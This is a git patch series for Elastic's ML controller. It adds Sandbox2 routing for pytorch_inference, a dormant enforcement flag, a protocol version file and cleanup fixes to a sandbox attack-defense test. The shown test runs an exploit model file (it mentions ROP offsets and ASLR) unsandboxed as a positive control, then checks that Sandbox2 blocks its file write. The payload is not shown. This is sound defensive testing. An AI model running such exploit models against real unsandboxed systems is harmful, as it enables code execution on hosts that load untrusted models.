claim Sandbox2 " + "defended against anything this run") + return False + if not control_target_created: + control_result.fail( + f"Positive control did NOT create {TARGET_FILE} - the exploit " + f"technique itself is not demonstrated to work in this " + f"environment (stale ROP offsets, ASLR, or a libtorch version " + f"mismatch), so a subsequent sandboxed PASS would be meaningless") + return False + print(f"Positive control: exploit succeeded unsandboxed (target file created); " + f"leaked-address pattern observed: {control_leak_seen}") + if os.path.exists(TARGET_FILE): + os.remove(TARGET_FILE) + + # Mitigated run: same model, same request, through Sandbox2. + result, reached, target_file_created, _, _, pid = run_pytorch_case( + controller, pytorch_bin, model_path, tmp_base, command_id + 1, + 'exploit', unsandboxed=False, request_id='test_exploit') + cleanup_and_verify_reaped(controller, result, pid, command_id + 30) + + if not result.ok: + return False + if not reached: + result.fail("Sandboxed run never reached a verdict - inconclusive, not a pass") + return False + if target_file_created: + result.fail(f"FAIL: Target file was created under Sandbox2: {TARGET_FILE}") + return False + + print("Exploit model test passed (file write prevented under Sandbox2, " + "proven effective by the unsandboxed positive control)") + return True + + +def main(): + parser = argparse.ArgumentParser(description='Sandbox2 Attack Defense Test') + parser.add_argument('--test', choices=['1', '2', 'all'], default='all', + help='Which test to run: 1=benign, 2=exploit, all=all tests (default: all)') + args = parser.parse_args() + + print("=" * 40) + print("Sandbox2 Attack Defense Test") + print("=" * 40) + print() + + try: + controller_bin, pytorch_bin = find_binaries() + print(f"Using controller: {controller_bin}") + print(f"Using pytorch_inference: {pytorch_bin}") + except Exception as e: + print(f"ERROR: {e}", file=sys.stderr) + sys.exit(1) + + harness_root = Path(tempfile.mkdtemp(prefix='sandbox2_test_')) + # Separate controller/child roots: the controller's own command/output/ + # log/stdin FIFOs live in control_dir; every sandboxed child's IPC + # directory lives under child_tmp_base/ml-child-ipc/. Passing + # child_tmp_base as the controller's own TMPDIR is what makes + # validateChildIpcLaunchSpec() (and CProcessSpawnerRouter's + # emitLaunchSignal()) treat those per-child directories as trusted. + control_dir = harness_root / 'controller_control' + child_tmp_base = harness_root / 'child_tmp' + models_dir = harness_root / 'models' + control_dir.mkdir() + child_tmp_base.mkdir() + models_dir.mkdir() + # Canonicalize now: validateChildIpcLaunchSpec() compares canonical + # forms, and tempfile.mkdtemp() output can traverse a symlink (macOS + # /tmp -> /private/tmp; some Linux distros similarly alias /tmp). + child_tmp_base = Path(os.path.realpath(child_tmp_base)) + + print(f"Harness root: {harness_root}") + print(f"Child IPC TMPDIR: {child_tmp_base}") + + failed = False + controller = None + try: + print("\nGenerating models...") + generate_models(models_dir) + print("Models generated successfully") + + controller_dir = Path(controller_bin).parent + controller = ControllerProcess(controller_bin, control_dir, controller_dir, child_tmp_base) + print(f"Controller started (PID: {controller.process.pid})") + + if args.test in ('1', 'all'): + model_path = models_dir / 'model_benign.pt' + if not test_benign_model(controller, pytorch_bin, model_path, child_tmp_base, 1): + failed = True + + if args.test in ('2', 'all'): + model_path = models_dir / 'model_exploit.pt' + if not test_exploit_model(controller, pytorch_bin, model_path, child_tmp_base, 100): + failed = True + + print("\n" + "=" * 40) + if failed: + print("Some tests FAILED") + else: + print("All tests PASSED") + + except KeyboardInterrupt: + print("\nTest interrupted by user") + failed = True + except Exception as e: + print(f"\nERROR: {e}", file=sys.stderr) + import traceback + traceback.print_exc() + failed = True + finally: + if controller is not None: + controller.cleanup() + try: + shutil.rmtree(harness_root) + except OSError: + pass + + sys.exit(1 if failed else 0) + + +if __name__ == '__main__': + main() From a26600af41e7af9375f3874d90efc6811a8228e5 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 22:38:19 +0200 Subject: [PATCH 08/36] [ML] Fix controller-construction leak and blocked-open pipe-reader leak - ControllerProcess.__init__: wrap the constructor body in try/except that calls self.cleanup() before re-raising. Previously, if __init__ raised after subprocess.Popen succeeded, main()'s `controller` variable was never assigned, so its `finally: if controller is not None: controller.cleanup()` never ran - leaking the spawned controller binary and its reader/stdin-keeper threads. - PipeReaderThread: open the FIFO O_RDONLY | O_NONBLOCK instead of a blocking O_RDONLY open, and poll readability with select() in the read loop (checking `running` between polls) instead of blocking in os.read(). Previously, stop() was a no-op while the thread was parked in the blocking open() (self.fd stayed None until a writer connected), so any run_pytorch_case() early-return path where pytorch_inference never opened its output/log FIFO left the reader thread permanently stuck, and the subsequent os.remove(pipe_path) unlinked the FIFO out from under it. --- test/test_sandbox2_attack_defense.py | 200 ++++++++++++++++----------- 1 file changed, 116 insertions(+), 84 deletions(-) diff --git a/test/test_sandbox2_attack_defense.py b/test/test_sandbox2_attack_defense.py index 223de43ccc..5bac7fc24b 100644 --- a/test/test_sandbox2_attack_defense.py +++ b/test/test_sandbox2_attack_defense.py @@ -72,6 +72,7 @@ import json import os import re +import select import shutil import stat import struct @@ -117,20 +118,39 @@ def __init__(self, pipe_path, output_file): super().__init__(daemon=True) def run(self): + # Opened O_NONBLOCK so this never blocks waiting for a writer to + # show up (a plain O_RDONLY open() would) - self.fd is populated + # almost immediately either way, which is what lets stop() actually + # interrupt this thread instead of racing a still-None self.fd + # against a blocking open() that may never return (e.g. when + # run_pytorch_case() bails out early because pytorch_inference never + # opened the other end of this FIFO for writing). + try: + self.fd = os.open(self.pipe_path, os.O_RDONLY | os.O_NONBLOCK) + except OSError as e: + self.error = str(e) + return try: - self.fd = os.open(self.pipe_path, os.O_RDONLY) with open(self.output_file, 'w') as f: while self.running: + try: + ready, _, _ = select.select([self.fd], [], [], 0.2) + except (OSError, ValueError): + break + if not ready: + continue try: data = os.read(self.fd, 4096) - if not data: - break - f.write(data.decode('utf-8', errors='replace')) - f.flush() + except BlockingIOError: + continue except OSError as e: if self.running: self.error = str(e) break + if not data: + break + f.write(data.decode('utf-8', errors='replace')) + f.flush() except Exception as e: self.error = str(e) finally: @@ -329,102 +349,114 @@ def __init__(self, binary_path, control_dir, controller_dir, child_tmp_base): 'stdin': str(self.control_dir / 'controller_stdin'), } - for pipe_path in self.pipes.values(): - if os.path.exists(pipe_path): - os.remove(pipe_path) - os.mkfifo(pipe_path, stat.S_IRUSR | stat.S_IWUSR) - - script_dir = Path(__file__).parent - source_config = script_dir / 'boost.log.ini' - test_config = self.control_dir / 'boost.log.ini' - if source_config.exists(): - shutil.copy(source_config, test_config) - else: - with open(test_config, 'w') as f: - f.write('[Core]\n') - f.write('Filter="%Severity% >= TRACE"\n') - f.write('\n') - f.write('[Sinks.Stderr]\n') - f.write('Destination=Console\n') - - log_file = str(self.control_dir / 'controller_log_output.txt') - self.log_reader = PipeReaderThread(self.pipes['log'], log_file) - self.output_reader = PipeReaderThread(self.pipes['out'], str(self._output_path)) - self.log_reader.start() - self.output_reader.start() - time.sleep(0.2) + try: + for pipe_path in self.pipes.values(): + if os.path.exists(pipe_path): + os.remove(pipe_path) + os.mkfifo(pipe_path, stat.S_IRUSR | stat.S_IWUSR) + + script_dir = Path(__file__).parent + source_config = script_dir / 'boost.log.ini' + test_config = self.control_dir / 'boost.log.ini' + if source_config.exists(): + shutil.copy(source_config, test_config) + else: + with open(test_config, 'w') as f: + f.write('[Core]\n') + f.write('Filter="%Severity% >= TRACE"\n') + f.write('\n') + f.write('[Sinks.Stderr]\n') + f.write('Destination=Console\n') + + log_file = str(self.control_dir / 'controller_log_output.txt') + self.log_reader = PipeReaderThread(self.pipes['log'], log_file) + self.output_reader = PipeReaderThread(self.pipes['out'], str(self._output_path)) + self.log_reader.start() + self.output_reader.start() + time.sleep(0.2) - print("Pipe readers started (will connect when controller opens pipes)") - sys.stdout.flush() - print("Starting controller process...") - sys.stdout.flush() + print("Pipe readers started (will connect when controller opens pipes)") + sys.stdout.flush() + print("Starting controller process...") + sys.stdout.flush() - stdin_opened = threading.Event() - stdin_fd_holder = {'fd': None} + stdin_opened = threading.Event() + stdin_fd_holder = {'fd': None} - def open_stdin_for_controller(): - stdin_fd_holder['fd'] = os.open(self.pipes['stdin'], os.O_RDONLY) - stdin_opened.set() + def open_stdin_for_controller(): + stdin_fd_holder['fd'] = os.open(self.pipes['stdin'], os.O_RDONLY) + stdin_opened.set() - stdin_opener_thread = threading.Thread(target=open_stdin_for_controller, daemon=True) - stdin_opener_thread.start() + stdin_opener_thread = threading.Thread(target=open_stdin_for_controller, daemon=True) + stdin_opener_thread.start() - self.stdin_keeper = StdinKeeperThread(self.pipes['stdin']) - self.stdin_keeper.start() + self.stdin_keeper = StdinKeeperThread(self.pipes['stdin']) + self.stdin_keeper.start() - if not stdin_opened.wait(timeout=3.0): - raise RuntimeError("Failed to open stdin pipe - stdin_keeper did not connect") + if not stdin_opened.wait(timeout=3.0): + raise RuntimeError("Failed to open stdin pipe - stdin_keeper did not connect") - stdin_fd = stdin_fd_holder['fd'] - if stdin_fd is None: - raise RuntimeError("stdin_fd is None after opening") + stdin_fd = stdin_fd_holder['fd'] + if stdin_fd is None: + raise RuntimeError("stdin_fd is None after opening") - print(f"stdin opened: fd={stdin_fd}, stdin_keeper: fd={self.stdin_keeper.fd}") - sys.stdout.flush() + print(f"stdin opened: fd={stdin_fd}, stdin_keeper: fd={self.stdin_keeper.fd}") + sys.stdout.flush() - # trustedTmpDir for validateChildIpcLaunchSpec() is derived by the - # controller itself from its own TMPDIR env var - # (CSandboxedProcessSpawner_Linux.cc / CProcessSpawnerRouter.cc both - # read getenv("TMPDIR"), defaulting to "/tmp"). child_tmp_base must - # therefore be passed as this process's TMPDIR, not merely used - # locally to build pipe paths, or every child spawn will be rejected - # for living outside the "trusted" base the controller believes in. - env = dict(os.environ) - env['TMPDIR'] = str(child_tmp_base) + # trustedTmpDir for validateChildIpcLaunchSpec() is derived by the + # controller itself from its own TMPDIR env var + # (CSandboxedProcessSpawner_Linux.cc / CProcessSpawnerRouter.cc both + # read getenv("TMPDIR"), defaulting to "/tmp"). child_tmp_base must + # therefore be passed as this process's TMPDIR, not merely used + # locally to build pipe paths, or every child spawn will be rejected + # for living outside the "trusted" base the controller believes in. + env = dict(os.environ) + env['TMPDIR'] = str(child_tmp_base) - self._start_controller_with_stdin(stdin_fd, env) + self._start_controller_with_stdin(stdin_fd, env) - time.sleep(0.3) - print(f"Controller started (PID: {self.process.pid})") - time.sleep(1.0) + time.sleep(0.3) + print(f"Controller started (PID: {self.process.pid})") + time.sleep(1.0) - print("Opening command pipe...") - sys.stdout.flush() - cmd_pipe_opened = threading.Event() - cmd_pipe_fd_holder = {} + print("Opening command pipe...") + sys.stdout.flush() + cmd_pipe_opened = threading.Event() + cmd_pipe_fd_holder = {} - def open_cmd_pipe(): - try: - cmd_pipe_fd_holder['fd'] = os.open(self.pipes['cmd'], os.O_WRONLY) - except Exception as e: - cmd_pipe_fd_holder['error'] = e - finally: - cmd_pipe_opened.set() + def open_cmd_pipe(): + try: + cmd_pipe_fd_holder['fd'] = os.open(self.pipes['cmd'], os.O_WRONLY) + except Exception as e: + cmd_pipe_fd_holder['error'] = e + finally: + cmd_pipe_opened.set() - cmd_pipe_thread = threading.Thread(target=open_cmd_pipe, daemon=True) - cmd_pipe_thread.start() + cmd_pipe_thread = threading.Thread(target=open_cmd_pipe, daemon=True) + cmd_pipe_thread.start() - if not cmd_pipe_opened.wait(timeout=5.0): - raise RuntimeError("Timeout waiting for controller to open command pipe") - if 'error' in cmd_pipe_fd_holder: - raise RuntimeError(f"Failed to open command pipe: {cmd_pipe_fd_holder['error']}") + if not cmd_pipe_opened.wait(timeout=5.0): + raise RuntimeError("Timeout waiting for controller to open command pipe") + if 'error' in cmd_pipe_fd_holder: + raise RuntimeError(f"Failed to open command pipe: {cmd_pipe_fd_holder['error']}") - self.cmd_pipe_fd = cmd_pipe_fd_holder.get('fd') - if self.cmd_pipe_fd is None: - raise RuntimeError("cmd_pipe_fd is None after opening") + self.cmd_pipe_fd = cmd_pipe_fd_holder.get('fd') + if self.cmd_pipe_fd is None: + raise RuntimeError("cmd_pipe_fd is None after opening") - print(f"Command pipe opened: fd={self.cmd_pipe_fd}") - sys.stdout.flush() + print(f"Command pipe opened: fd={self.cmd_pipe_fd}") + sys.stdout.flush() + except Exception: + # Best-effort teardown of whatever was already started + # (subprocess, reader threads, pipes) before re-raising. main() + # only assigns its `controller` variable after __init__ returns, + # so if construction fails partway through, this is the only + # place that can reap the already-spawned controller binary and + # its reader/stdin-keeper threads - main()'s + # `finally: if controller is not None: controller.cleanup()` + # never runs for a partially-constructed instance. + self.cleanup() + raise def _start_controller_with_stdin(self, stdin_fd, env): try: From e4d3111655d59d1493afa1e867aa0034e166c308 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 22:44:34 +0200 Subject: [PATCH 09/36] [ML] Publish controller protocol/capability version token (producer side) Add 3rd_party/controller-protocol.version (single line, controller-protocol-version=1) asserting the controller's --disableSandbox token semantics (controller-only, never forwarded to the child) and the per-child IPC route contract ($TMPDIR/ml-child-ipc/ -> /run/elastic/ml-ipc). Wire it into buildZip so it lands at the top level of buildDependenciesZip's -deps zip, unaffected by dependenciesSpec's exclude list, for a future Elasticsearch-side assertion (out of scope here). Task 7 of PR E, Sandbox2 rebuild epic. --- 3rd_party/controller-protocol.version | 1 + build.gradle | 11 +++++++++++ 2 files changed, 12 insertions(+) create mode 100644 3rd_party/controller-protocol.version diff --git a/3rd_party/controller-protocol.version b/3rd_party/controller-protocol.version new file mode 100644 index 0000000000..805da4e541 --- /dev/null +++ b/3rd_party/controller-protocol.version @@ -0,0 +1 @@ +controller-protocol-version=1 diff --git a/build.gradle b/build.gradle index 080714884e..65f8701350 100644 --- a/build.gradle +++ b/build.gradle @@ -206,6 +206,17 @@ task buildZip(type: Zip) { exclude "**/core*" includeEmptyDirs = false } + // Publish the controller protocol/capability token at the zip root (not + // nested under 3rd_party/) so Elasticsearch can assert against a + // well-known top-level path in the -deps zip. Bump the integer inside + // 3rd_party/controller-protocol.version (not merely its existence) on any + // future breaking change to either (a) the controller's --disableSandbox + // token semantics (controller-only metadata, never forwarded to the + // child), or (b) the per-child IPC route contract + // ($TMPDIR/ml-child-ipc/ -> /run/elastic/ml-ipc). + from("3rd_party") { + include "controller-protocol.version" + } } task buildZipSymbols(type: Zip) { From 1040f7cd82dc1db23c46c884e900e1712f79a95e Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 23:22:15 +0200 Subject: [PATCH 10/36] [ML] PR E review: dormant no-token default + single deployment_id derivation Final whole-branch review fixes 1, 2, 5, 6 and 7. - SHIPS DORMANT (fix 1): the no-token route decision for a configured sandboxed process path is now gated on the internal ML_SANDBOX2_DEFAULT_ENFORCED option (exactly "1" is truthy, off by default), so a plain pytorch_inference launch keeps the legacy route until Elasticsearch owns the operator setting that turns mandatory Sandbox2 on. The router's legacy-route log line no longer claims a --disableSandbox token it cannot see; CCommandProcessor logs the route provenance where it is known. - bin/controller/Main.cc's unconditional sandboxed-path list needs no change (fix 2): with the default off, that list only nominates which path accepts the token and which emits the H4 signal. Comment added. - validateChildIpcLaunchSpec() is now called once per spawn(), before dispatch, and its childId threaded into the H4 signal (fix 5), so deployment_id is populated on the degraded and fail_closed modes instead of blanking on exactly the modes the signal exists to debug. CSandboxedProcessSpawner_Linux.cc's own V16 gate is untouched. jsonEscape() now escapes control characters as well as quote and backslash. - One shared isSandboxedProcessPath() predicate, owned by the router and queried by CCommandProcessor (fix 6), replacing two independent std::find copies that could silently desync. - Negative assertion that a non-sandboxed process path emits no sandbox2_launch line at all (fix 7). --- bin/controller/CCommandProcessor.cc | 60 +++++- bin/controller/CCommandProcessor.h | 27 ++- bin/controller/CProcessSpawnerRouter.cc | 89 ++++++--- bin/controller/CProcessSpawnerRouter.h | 20 +- bin/controller/Main.cc | 7 + .../unittest/CCommandProcessorTest.cc | 111 ++++++++++- .../unittest/CProcessSpawnerRouterTest.cc | 175 +++++++++++++++++- docs/sandbox2_production_failure_modes.md | 49 ++++- 8 files changed, 485 insertions(+), 53 deletions(-) diff --git a/bin/controller/CCommandProcessor.cc b/bin/controller/CCommandProcessor.cc index 3f3025ca4c..239833c874 100644 --- a/bin/controller/CCommandProcessor.cc +++ b/bin/controller/CCommandProcessor.cc @@ -15,7 +15,9 @@ #include #include +#include #include +#include namespace { const std::string TAB(1, '\t'); @@ -24,6 +26,20 @@ const std::string EMPTY_STRING; //! unrecognised "--" prefixed token is passed through to the spawned //! process unchanged - this task does not invent a general token schema. const std::string DISABLE_SANDBOX_TOKEN{"--disableSandbox"}; + +//! Internal controller option gating the no-token default route. Not an +//! operator setting and not part of the command wire format: it exists so +//! the typed-routing machinery can ship dormant (legacy default) until +//! Elasticsearch owns the setting that turns mandatory Sandbox2 on. +const char* SANDBOX2_DEFAULT_ENFORCED_ENV{"ML_SANDBOX2_DEFAULT_ENFORCED"}; + +//! Exactly "1" and nothing else is truthy - one canonical spelling, the +//! same one the sandboxee's own ML_SANDBOXED=1 contract uses. Anything else +//! (unset, "", "0", "true", "TRUE", "yes") leaves the option off. +bool sandbox2DefaultEnforced() { + const char* value{::getenv(SANDBOX2_DEFAULT_ENFORCED_ENV)}; + return value != nullptr && std::string{value} == "1"; +} } namespace ml { @@ -37,7 +53,12 @@ CCommandProcessor::CCommandProcessor(const TStrVec& permittedProcessPaths, const TStrVec& sandboxedProcessPaths, std::ostream& responseStream) : m_Spawner{permittedProcessPaths, sandboxedProcessPaths}, - m_SandboxedProcessPaths{sandboxedProcessPaths}, m_ResponseWriter{responseStream} { + m_Sandbox2DefaultEnabled{sandbox2DefaultEnforced()}, m_ResponseWriter{responseStream} { + if (m_Sandbox2DefaultEnabled) { + LOG_INFO(<< SANDBOX2_DEFAULT_ENFORCED_ENV + << "=1: a start command with no " << DISABLE_SANDBOX_TOKEN + << " token requires Sandbox2 for configured sandboxed process paths"); + } } void CCommandProcessor::processCommands(std::istream& commandStream) { @@ -121,11 +142,33 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { return false; } + // One shared predicate with the router (which uses the same call to gate + // dispatch and H4-signal emission), never a second std::find over a + // second copy of the list. + const bool isConfiguredSandboxedPath{m_Spawner.isSandboxedProcessPath(processPath)}; + CProcessSpawnerRouter::ERoute route{CProcessSpawnerRouter::ERoute::E_Sandbox2}; - if (disableSandboxCount == 1) { - bool isConfiguredSandboxedPath{std::find(m_SandboxedProcessPaths.begin(), - m_SandboxedProcessPaths.end(), - processPath) != m_SandboxedProcessPaths.end()}; + if (disableSandboxCount == 0) { + // No token: the route is only a decision at all for a configured + // sandboxed process path (every other permitted process dispatches + // to the legacy spawner either way, and must not be described as an + // explicitly-selected legacy route in the log). + // + // Ships dormant: with the internal option off (the default), the + // no-token case stays on the legacy route - byte-for-byte the + // pre-typed-routing behaviour on every platform, including builds + // with no Sandbox2 support at all. With the option on it becomes + // mandatory Sandbox2 (E_Sandbox2, no automatic fallback, V2). The + // follow-up that flips the option is the Elasticsearch-side + // operator-setting change, not this one. + if (isConfiguredSandboxedPath && m_Sandbox2DefaultEnabled == false) { + route = CProcessSpawnerRouter::ERoute::E_Legacy; + LOG_DEBUG(<< "Routing '" << processPath + << "' to the legacy path: no " << DISABLE_SANDBOX_TOKEN + << " token and " << SANDBOX2_DEFAULT_ENFORCED_ENV + << " is not set to 1"); + } + } else if (disableSandboxCount == 1) { if (isConfiguredSandboxedPath == false) { std::string error{"Rejecting command: '" + DISABLE_SANDBOX_TOKEN + "' is only valid for the configured sandboxed process, " @@ -137,7 +180,12 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { } // Operator kill-switch validated against this exact processPath: - // strip it before it reaches the spawner and route to legacy. + // strip it before it reaches the spawner and route to legacy. This + // is the one place the route's operator provenance is known + // (design.md point 6), so it is logged here rather than in the + // router, which only ever sees an already-decided route. + LOG_INFO(<< "Routing '" << processPath << "' to the legacy path: operator kill switch " + << DISABLE_SANDBOX_TOKEN << " in command with ID " << id); route = CProcessSpawnerRouter::ERoute::E_Legacy; tokens.erase(firstDisableSandbox); } diff --git a/bin/controller/CCommandProcessor.h b/bin/controller/CCommandProcessor.h index c75ef3f0ae..b4d8fa5fcf 100644 --- a/bin/controller/CCommandProcessor.h +++ b/bin/controller/CCommandProcessor.h @@ -93,14 +93,29 @@ class CCommandProcessor { bool handleKill(std::uint32_t id, TStrVec tokens); private: - //! Used to spawn/kill the requested processes. + //! Used to spawn/kill the requested processes, and the single owner of + //! the "is this a configured sandboxed process path" predicate this + //! class queries via CProcessSpawnerRouter::isSandboxedProcessPath() + //! rather than keeping its own second copy of the list and the + //! std::find over it. CProcessSpawnerRouter m_Spawner; - //! Processes for which the \c --disableSandbox controller-control token - //! is meaningful (see handleStart()). Kept separately from whatever - //! m_Spawner stores internally, since this is used to validate/reject - //! the token *before* any spawn decision is made. - TStrVec m_SandboxedProcessPaths; + //! Internal controller option, read once at construction from the + //! \c ML_SANDBOX2_DEFAULT_ENFORCED environment variable and \b off + //! unless that variable is exactly "1" (the single canonical truthy + //! spelling; any other value, including "true", "yes" or "0", leaves it + //! off, matching the ML_SANDBOXED=1 convention + //! CSandboxedProcessSpawner_Linux.cc already uses for the child). + //! + //! Off (the shipped default) means a \c start command with no + //! \c --disableSandbox token takes the legacy route for a configured + //! sandboxed process path - i.e. exactly the pre-typed-routing + //! behaviour. This is deliberate: making the no-token default + //! Sandbox2-mandatory would turn every Linux pytorch_inference launch + //! into a mandatory-Sandbox2 launch before Elasticsearch has the + //! operator setting that controls it, so the typed-routing machinery + //! ships dormant and a later change flips this seam on. + bool m_Sandbox2DefaultEnabled; //! Used to write responses in JSON format to the response stream. CResponseJsonWriter m_ResponseWriter; diff --git a/bin/controller/CProcessSpawnerRouter.cc b/bin/controller/CProcessSpawnerRouter.cc index 45771e8acf..ab1b7e0f8f 100644 --- a/bin/controller/CProcessSpawnerRouter.cc +++ b/bin/controller/CProcessSpawnerRouter.cc @@ -41,11 +41,16 @@ std::string scanModelId(const ml::controller::CProcessSpawnerRouter::TStrVec& ar //! input (a launch argument and a validated path component) rather than //! from a fixed internal vocabulary - PR F's ES-side observability code //! parses this line by name and type, so it must stay valid JSON even if -//! either value contains a quote or backslash. +//! either value contains a quote, a backslash, or a control character. +//! deployment_id is a filesystem path component and model_id comes straight +//! off the command line, so a raw newline/tab/NUL in either would otherwise +//! split or corrupt what must stay a single-line JSON object. std::string jsonEscape(const std::string& s) { + static const char* const HEX_DIGITS{"0123456789abcdef"}; std::string out; out.reserve(s.size()); for (char c : s) { + const auto byte = static_cast(c); switch (c) { case '"': out += "\\\""; @@ -53,13 +58,48 @@ std::string jsonEscape(const std::string& s) { case '\\': out += "\\\\"; break; + case '\n': + out += "\\n"; + break; + case '\r': + out += "\\r"; + break; + case '\t': + out += "\\t"; + break; default: - out += c; + if (byte < 0x20) { + // Every remaining C0 control character, as the \u00XX escape + // JSON requires (RFC 8259 section 7). + out += "\\u00"; + out += HEX_DIGITS[(byte >> 4) & 0xF]; + out += HEX_DIGITS[byte & 0xF]; + } else { + out += c; + } } } return out; } +//! Derive the per-launch deployment_id (SChildIpcLaunchSpec::s_ChildId) from +//! the path-bearing launch options in \p args, exactly as +//! CSandboxedProcessSpawner_Linux.cc does before constructing a Sandbox2 +//! policy (same trustedTmpDir derivation - getenv("TMPDIR"), defaulting to +//! "/tmp"). Called once per spawn(), *before* either backend runs, so the +//! H4 signal and the dispatch decision see one and the same filesystem +//! state: validateChildIpcLaunchSpec() does live ::realpath() calls, and a +//! post-spawn second call could observe a different (or, on the +//! legacy/degraded and failed-Sandbox2 paths, an absent) per-child IPC +//! directory and report an empty deployment_id on exactly the degraded and +//! fail_closed modes the signal exists to make debuggable. +//! Returns "" when no path-bearing option was present at all. +std::string deriveDeploymentId(const ml::controller::CProcessSpawnerRouter::TStrVec& args) { + const char* tmpDirEnv{::getenv("TMPDIR")}; + const std::string trustedTmpDir{tmpDirEnv != nullptr ? tmpDirEnv : "/tmp"}; + return ml::sandbox::validateChildIpcLaunchSpec(trustedTmpDir, args).s_Spec.s_ChildId; +} + } // namespace namespace ml { @@ -75,20 +115,10 @@ bool CProcessSpawnerRouter::isSandboxedProcessPath(const std::string& processPat m_SandboxedProcessPaths.end(); } -void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, const TStrVec& args, bool spawnSucceeded) const { - // Derive deployment_id exactly as CSandboxedProcessSpawner_Linux.cc - // does before constructing a Sandbox2 policy (see its trustedTmpDir - // derivation just before its own validateChildIpcLaunchSpec() call): - // this duplicates that validation call for observability purposes, - // which is expected - the function is pure, cross-platform-safe (only - // ::realpath and env/stat calls), and this signal must fire - // independently of whether the Linux spawner's own gating call ever - // ran (e.g. the legacy/degraded route never reaches it at all). - const char* tmpDirEnv{::getenv("TMPDIR")}; - const std::string trustedTmpDir{tmpDirEnv != nullptr ? tmpDirEnv : "/tmp"}; - const sandbox::SChildIpcValidationResult validated{ - sandbox::validateChildIpcLaunchSpec(trustedTmpDir, args)}; - +void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, + const std::string& deploymentId, + const TStrVec& args, + bool spawnSucceeded) const { const bool isLegacyRoute{route == ERoute::E_Legacy}; // Controller ruling (binding, PR E Task 4): degraded is decided purely @@ -105,7 +135,7 @@ void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, const TStrVec& args, std::ostringstream signal; signal << "{\"event\":\"sandbox2_launch\"" - << ",\"deployment_id\":\"" << jsonEscape(validated.s_Spec.s_ChildId) << "\"" + << ",\"deployment_id\":\"" << jsonEscape(deploymentId) << "\"" << ",\"model_id\":\"" << jsonEscape(scanModelId(args)) << "\"" << ",\"route\":\"" << (isLegacyRoute ? "legacy" : "sandbox2") << "\"" << ",\"sandbox2_established\":" << (sandbox2Established ? "true" : "false") @@ -125,15 +155,26 @@ bool CProcessSpawnerRouter::spawn(ERoute route, // dispatch branch below can accidentally skip or duplicate it. const bool sandboxEligible{this->isSandboxedProcessPath(processPath)}; + // Derived exactly once per spawn() call, before either backend runs, so + // the H4 signal below reports the same childId the dispatch decision was + // taken against - see deriveDeploymentId()'s comment for why a + // post-spawn second derivation is not equivalent. Skipped entirely for + // processes that can never emit the signal, so unrelated permitted + // processes (autodetect etc.) pay no ::realpath() cost. + const std::string deploymentId{sandboxEligible ? deriveDeploymentId(args) : std::string()}; + bool spawned{false}; if (route == ERoute::E_Legacy) { - // Operator kill-switch route: the caller has already validated the - // --disableSandbox token against this exact processPath and - // stripped it from args before this call - this router never - // re-parses args to decide anything (unlike the frozen prior art's - // spawn(), which re-derived disableSandbox from args itself). + // Legacy route decided upstream: either the operator kill-switch + // token (validated against this exact processPath and stripped from + // args by CCommandProcessor) or the dormant no-token default. This + // router never re-parses args to decide anything (unlike the frozen + // prior art's spawn(), which re-derived disableSandbox from args + // itself), so it cannot - and must not - name which of the two it + // was; CCommandProcessor logs that provenance at the point it is + // actually known. LOG_INFO(<< "Launching '" << processPath - << "' without Sandbox2 (operator kill switch --disableSandbox); " + << "' without Sandbox2 (legacy route selected by the controller); " << "the in-process seccomp filter applies"); spawned = m_LegacySpawner.spawn(processPath, args, childPid); } else if (sandboxEligible) { @@ -163,7 +204,7 @@ bool CProcessSpawnerRouter::spawn(ERoute route, } if (sandboxEligible) { - this->emitLaunchSignal(route, args, spawned); + this->emitLaunchSignal(route, deploymentId, args, spawned); } return spawned; diff --git a/bin/controller/CProcessSpawnerRouter.h b/bin/controller/CProcessSpawnerRouter.h index ff6a11f0c6..f25ef378a3 100644 --- a/bin/controller/CProcessSpawnerRouter.h +++ b/bin/controller/CProcessSpawnerRouter.h @@ -78,11 +78,18 @@ class CProcessSpawnerRouter { //! \return true if either backend owns a still-live child with this PID. bool hasChild(core::CProcess::TPid pid) const; -private: //! \return true if \p processPath is configured as a sandboxed process - //! path - used for dispatch only, never to decide the route itself. + //! path. This is the single implementation of that predicate: the router + //! uses it for dispatch and H4-signal gating, and CCommandProcessor + //! calls it (through its own router member) to decide whether the + //! operator kill-switch token is meaningful for a process path and + //! whether the dormant-by-default Sandbox2 route applies. Keeping two + //! independent std::find copies would let a future change to one (e.g. + //! path normalisation) silently desync token validation from signal + //! emission. bool isSandboxedProcessPath(const std::string& processPath) const; +private: //! Emit the H4 structured once-per-launch signal (design.md §Failure //! behavior and observability) for a Sandbox2-eligible spawn() call, //! after the dispatch outcome is known. Fires on every outcome, @@ -90,7 +97,14 @@ class CProcessSpawnerRouter { //! gated behind the caller's own success handling. Must only be called //! when the process path is a configured sandboxed process path; never //! for unrelated processes (e.g. autodetect). - void emitLaunchSignal(ERoute route, const TStrVec& args, bool spawnSucceeded) const; + //! \param deploymentId SChildIpcLaunchSpec::s_ChildId, already derived + //! once by spawn() *before* dispatch - never re-derived here, so + //! the value in this signal cannot disagree with the value the + //! dispatch decision was made against. + void emitLaunchSignal(ERoute route, + const std::string& deploymentId, + const TStrVec& args, + bool spawnSucceeded) const; private: core::CDetachedProcessSpawner m_LegacySpawner; diff --git a/bin/controller/Main.cc b/bin/controller/Main.cc index 4df1144011..5a5505bb41 100644 --- a/bin/controller/Main.cc +++ b/bin/controller/Main.cc @@ -206,6 +206,13 @@ int main(int argc, char** argv) { ml::controller::CCommandProcessor::TStrVec permittedProcessPaths{ "./autodetect", "./categorize", "./data_frame_analyzer", "./normalize", "./pytorch_inference"}; + // Unconditional on every platform, deliberately: this list only + // nominates which process path the --disableSandbox controller token is + // meaningful for, it does not by itself require Sandbox2 for that path. + // A plain (no-token) launch of ./pytorch_inference takes the legacy + // route unless the internal ML_SANDBOX2_DEFAULT_ENFORCED option is on + // (see CCommandProcessor), so listing it here fails nothing on macOS, + // Windows, or a Linux build without Sandbox2 support. ml::controller::CCommandProcessor::TStrVec 